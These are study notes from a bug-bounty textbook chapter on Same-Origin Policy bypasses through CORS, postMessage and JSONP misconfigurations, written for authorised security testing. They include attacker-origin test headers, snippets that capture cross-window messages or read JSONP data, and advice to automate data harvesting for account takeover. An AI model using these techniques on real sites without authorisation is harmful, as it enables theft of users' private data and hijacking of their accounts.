BBC Ch 19: Same-Origin Policy (SOP) Vulnerabilities

Source: Bug Bounty Bootcamp by Vickie Li

The Same-Origin Policy (SOP) restricts scripts on one origin from reading data from another origin. Two URLs share an origin only if they have the same protocol, hostname, and port. Because browsers automatically attach session cookies to every request for a matching domain, the SOP prevents cross-origin scripts from using those cookies to read private data.

Many sites intentionally relax the SOP to allow cross-origin communication. Misconfigurations in these mechanisms create exploitable bypasses.

CORS lets servers explicitly allow cross-origin requests via response headers:

Access-Control-Allow-Origin: https://b.example.com
Access-Control-Allow-Origin: *  (wildcard -- no credentials permitted, so not exploitable)

Exploitable misconfigurations:

• Access-Control-Allow-Origin: null – any origin can set a null Origin (e.g., data: URL scheme)
• Reflecting any origin without validation: server echoes back whatever Origin the attacker sends
• Weak regex: only checks that origin contains or starts with the allowed domain

Test by submitting:

Origin: attacker.com          (reflected without validation?)
Origin: www.example.com.attacker.com  (regex bypass?)
Origin: null

If the response returns Access-Control-Allow-Origin: attacker.com (or similar), it's exploitable – attackers can read cross-origin responses with credentials.

postMessage() allows cross-window messaging between frames/popups: <code javascript> RECIPIENT_WINDOW.postMessage(MESSAGE, TARGET_ORIGIN) window.addEventListener(“message”, handler_function) ```

Sender bug: using a wildcard target origin * lets any origin intercept the message: <code javascript> recipient_window.postMessage(sensitive_data, “*”); ```

An attacker page can listen for messages from the sender: <code javascript> var sender_window = window.open(“https://TARGET_URL”, target_domain) window.addEventListener(“message”, function(event) {

// capture event.data

}); ```

Receiver bug: if the receiver doesn't validate the sender's origin, any page can send arbitrary messages and trigger state changes.

JSONP lets cross-origin script tags retrieve JSON by wrapping it in a callback function. If a sensitive endpoint supports JSONP and the callback parameter isn't validated: <code html> <script src=“https://TARGET_URL?callback=parseinfo”></script> ```

This executes parseinfo(sensitive_data) in the attacker's context.

1. Determine if the target uses CORS, postMessage, or JSONP (intercept traffic, look for CORS headers, window.addEventListener(“message”…), script tags with callback params)
2. CORS: submit test Origin headers (attacker.com, null, www.example.com.attacker.com); check the Access-Control-Allow-Origin response header
3. postMessage: create an HTML page with an iframe or popup; try sending messages to the target window; try listening for messages from the target window
4. JSONP: embed a script tag pointing to the target's JSONP endpoint with a custom callback
5. If authentication uses custom headers or secret params (not cookies), the bypass may not be exploitable – document mitigating factors

• SOP bypasses often allow reading private data or acting as the victim – inherently high severity
• Automate to harvest large amounts of user data
• Use stolen data (security questions, tokens) to achieve full account takeover

1. Determine which SOP relaxation technique(s) the target uses.
2. Test CORS: submit attacker Origin headers and inspect Access-Control-Allow-Origin response.
3. Test postMessage: frame or open the target, try sending/receiving messages without origin validation.
4. Test JSONP: embed a script tag with a callback to read sensitive data.
5. Assess whether auth uses cookies (SOP bypass exploitable) or other mechanisms (may not be exploitable).
6. Draft report with concrete data that can be stolen and a working PoC.